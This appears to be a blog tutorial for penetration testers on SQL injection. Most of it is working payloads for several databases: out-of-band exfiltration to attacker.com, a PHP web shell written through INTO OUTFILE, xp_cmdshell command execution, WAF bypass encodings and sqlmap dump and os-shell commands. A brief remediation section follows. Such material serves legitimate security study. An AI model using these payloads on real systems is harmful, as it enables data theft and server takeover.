SQL injection attack and database exploitation

SQL Injection: Complete Attack Guide

SQL injection attacks including detection, exploitation, bypass techniques, and remediation for web application penetration testing.

Dec 16, 2025
Updated Dec 11, 2025
2 min read

Introduction

SQL Injection (SQLi) remains a critical web application vulnerability, consistently ranking in the OWASP Top 10. It occurs when user-controlled input is incorporated into SQL queries without proper sanitization, allowing attackers to manipulate database queries, bypass authentication, extract sensitive data, or even execute system commands.

Despite being a well-known vulnerability class, SQLi continues to plague modern applications due to legacy code, improper ORM usage, and developer oversight. Understanding SQLi techniques is essential for penetration testers and crucial for developers building secure applications.

Types of SQL Injection

In-Band SQLi (Classic)

A straightforward and frequently encountered form where results are returned directly in the application response.

Error-Based SQLi

Leverages database error messages to extract information:

-- MySQL error extraction
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))-- -

-- MSSQL error extraction
' AND 1=CONVERT(int, (SELECT @@version))-- -

-- PostgreSQL error extraction
' AND 1=CAST((SELECT version()) AS int)-- -

Union-Based SQLi

Uses UNION SELECT to append results from injected queries:

-- Determine number of columns
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- - (until error)

-- Find displayable columns
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -

-- Extract data
' UNION SELECT username,password,NULL FROM users-- -

Blind SQLi

No visible output in responses; must infer results through application behavior.

Boolean-Based Blind

Application returns different responses for true/false conditions:

-- Test for blind SQLi
' AND 1=1-- - (normal response)
' AND 1=2-- - (different response)

-- Extract data character by character
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='b'-- -

-- Binary search for efficiency
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77-- -

Time-Based Blind

Uses database delays to infer information:

-- MySQL
' AND IF(1=1, SLEEP(5), 0)-- -
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0)-- -

-- MSSQL
'; WAITFOR DELAY '0:0:5'-- -
'; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'-- -

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -

Out-of-Band SQLi

Exfiltrates data through alternative channels (DNS, HTTP).

-- MySQL DNS exfiltration
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a'))-- -

-- MSSQL DNS exfiltration
'; EXEC master..xp_dirtree '\\' + (SELECT TOP 1 password FROM users) + '.attacker.com\a'-- -

-- Oracle HTTP exfiltration
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1)) FROM dual-- -

Database-Specific Techniques

MySQL

-- Version and user
SELECT @@version, user(), database()

-- List databases
SELECT schema_name FROM information_schema.schemata

-- List tables
SELECT table_name FROM information_schema.tables WHERE table_schema='target_db'

-- List columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- File read (requires FILE privilege)
SELECT LOAD_FILE('/etc/passwd')

-- File write
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'

Microsoft SQL Server

-- Version and user
SELECT @@version, SYSTEM_USER, DB_NAME()

-- List databases
SELECT name FROM sys.databases

-- List tables
SELECT name FROM sys.tables

-- List columns
SELECT name FROM sys.columns WHERE object_id=OBJECT_ID('users')

-- Command execution (requires xp_cmdshell)
EXEC xp_cmdshell 'whoami'

-- Enable xp_cmdshell if disabled
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

PostgreSQL

-- Version and user
SELECT version(), current_user, current_database()

-- List databases
SELECT datname FROM pg_database

-- List tables
SELECT tablename FROM pg_tables WHERE schemaname='public'

-- List columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- File read
SELECT pg_read_file('/etc/passwd')

-- Command execution (requires superuser)
COPY cmd_output FROM PROGRAM 'id';

Oracle

-- Version and user
SELECT banner FROM v$version, user FROM dual

-- List tables
SELECT table_name FROM all_tables WHERE owner='SCHEMA_NAME'

-- List columns
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

WAF Bypass Techniques

Encoding Bypasses

-- URL encoding
%27%20OR%201%3D1--%20-

-- Double URL encoding
%2527%2520OR%25201%253D1--%2520-

-- Unicode encoding
' OR 1=1-- -  →  %u0027%u0020OR%u00201%u003D1--%u0020-

-- Hex encoding
' UNION SELECT 0x61646d696e-- - (admin in hex)

Case Manipulation

-- Mixed case
' uNiOn SeLeCt * fRoM users-- -

-- Using comments
' UN/**/ION SEL/**/ECT * FROM users-- -

Whitespace Alternatives

-- Tab instead of space
'%09UNION%09SELECT%09*%09FROM%09users--%09-

-- Comments as spaces
'/**/UNION/**/SELECT/**/password/**/FROM/**/users--/**/-

-- Newlines
'%0aUNION%0aSELECT%0a*%0aFROM%0ausers--%0a-

Function Alternatives

-- Instead of CONCAT()
'||' (Oracle, PostgreSQL)
'+' (MSSQL)

-- Instead of SUBSTRING()
MID(), SUBSTR(), LEFT(), RIGHT()

-- Instead of ASCII()
ORD(), HEX()

No Quotes Bypass

-- Using hex
' UNION SELECT * FROM users WHERE username=0x61646d696e-- -

-- Using CHAR()
' UNION SELECT * FROM users WHERE username=CHAR(97,100,109,105,110)-- -

Exploitation Tools

SQLMap

The industry-standard automated SQL injection tool:

# Basic detection
sqlmap -u "http://target.com/page?id=1"

# With POST data
sqlmap -u "http://target.com/login" --data="user=admin&pass=test"

# Through proxy (Burp)
sqlmap -u "http://target.com/page?id=1" --proxy="http://127.0.0.1:8080"

# Enumerate databases
sqlmap -u "http://target.com/page?id=1" --dbs

# Dump specific table
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump

# OS shell (if possible)
sqlmap -u "http://target.com/page?id=1" --os-shell

# Bypass WAF
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,between

# Risk and level
sqlmap -u "http://target.com/page?id=1" --risk=3 --level=5

Detection Methodology

Manual Testing

  1. Identify injection points: Forms, URL parameters, headers, cookies
  2. Test with special characters: ' " ; -- /* */
  3. Observe responses: Error messages, behavior changes, timing
  4. Confirm vulnerability: Boolean conditions, UNION statements

Common Test Payloads

-- Basic tests
'
"
`
')
")
`)
'))
"))
`))

-- Comment tests
'--
'#
'/*

-- Boolean tests
' OR '1'='1
' OR '1'='1'--
' OR 1=1--
" OR 1=1--
OR 1=1--

-- Time-based tests
' OR SLEEP(5)--
' WAITFOR DELAY '0:0:5'--
' OR pg_sleep(5)--

Impact Assessment

Data Exfiltration

  • User credentials
  • Personal information (PII)
  • Financial data
  • Proprietary business data

Authentication Bypass

  • Admin panel access
  • User impersonation
  • Privilege escalation

System Compromise

  • Command execution
  • File read/write
  • Lateral movement to database server

Remediation

Parameterized Queries

# Python with psycopg2 (SECURE)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

# Node.js with mysql2 (SECURE)
connection.execute("SELECT * FROM users WHERE id = ?", [userId])

# Java with PreparedStatement (SECURE)
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);

Input Validation

# Whitelist validation
import re
if not re.match(r'^[a-zA-Z0-9]+$', user_input):
    raise ValueError("Invalid input")

# Type casting
user_id = int(request.args.get('id'))

Least Privilege

  • Use application-specific database accounts
  • Restrict permissions to required tables/operations
  • Disable dangerous functions (xp_cmdshell, LOAD_FILE)

Web Application Firewall

Deploy WAF rules for known SQLi patterns as defense-in-depth.

References

MITRE ATT&CK Techniques

Common Weakness Enumeration

OWASP Resources

Tools Documentation

Last updated on

SQL Injection: Complete Attack Guide | Drake Axelrod